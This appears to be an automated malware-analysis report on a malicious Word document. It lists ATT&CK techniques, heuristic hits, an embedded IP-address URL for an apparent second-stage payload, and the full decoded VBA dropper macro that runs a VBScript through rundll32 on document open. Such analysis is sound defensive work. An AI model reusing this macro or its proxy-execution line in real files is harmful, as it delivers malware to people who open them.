MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1218.011 System Binary Proxy Execution: Rundll32
The sample contains a VBA macro that executes upon opening the document. This macro creates a folder 'c:\..\syslogs', writes a VBScript to 'c:\syslogs\fa.vbs', and then uses 'rundll32.exe' to execute the VBScript. The VBScript likely downloads a second-stage payload from the embedded URL, which is a critical step in the attack chain.
Heuristics 7
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
RetPid.create "rundll32.exe zipfldr.dll,RouteTheCall c:\syslogs\fa.vbs", Null, Null, 0 + 0 Set FieldWord5 = ActiveDocument.Words(11) -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set RetPid = GetObject(FieldWord1) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_Open() -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://195.123.241.146/printable.docx In document text (OLE body)
- https://www.nytimes.com/2020/08/26/us/three-shot-amid-protests-over-jacob-blake-shooting.html?action=click&module=Top%20Stories&pgtype=HomepageIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 972 bytes |
SHA-256: 9ac6c18b17a8c470356a67df4b602db1adc30cf14c8ad4915fcf00187a8a4152 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Document1"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Set n = New FileSystemObject
On Error Resume Next
Set FieldWord1 = ActiveDocument.Words(127)
Set FieldWord2 = ActiveDocument.Words(128)
Set FieldWord3 = ActiveDocument.Words(129)
Set FieldWord4 = ActiveDocument.Words(130)
Set FieldWord5 = ActiveDocument.Words(131)
n.CreateFolder "c:\..\syslogs"
FieldWord1 = FieldWord1 + FieldWord2 + FieldWord3 + FieldWord4 + FieldWord5
Set s = n.CreateTextFile("c:\syslogs\fa.vbs")
s.WriteLine (Right(Range.Text, 38934))
Set RetPid = GetObject(FieldWord1)
RetPid.create "rundll32.exe zipfldr.dll,RouteTheCall c:\syslogs\fa.vbs", Null, Null, 0 + 0
Set FieldWord5 = ActiveDocument.Words(11)
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.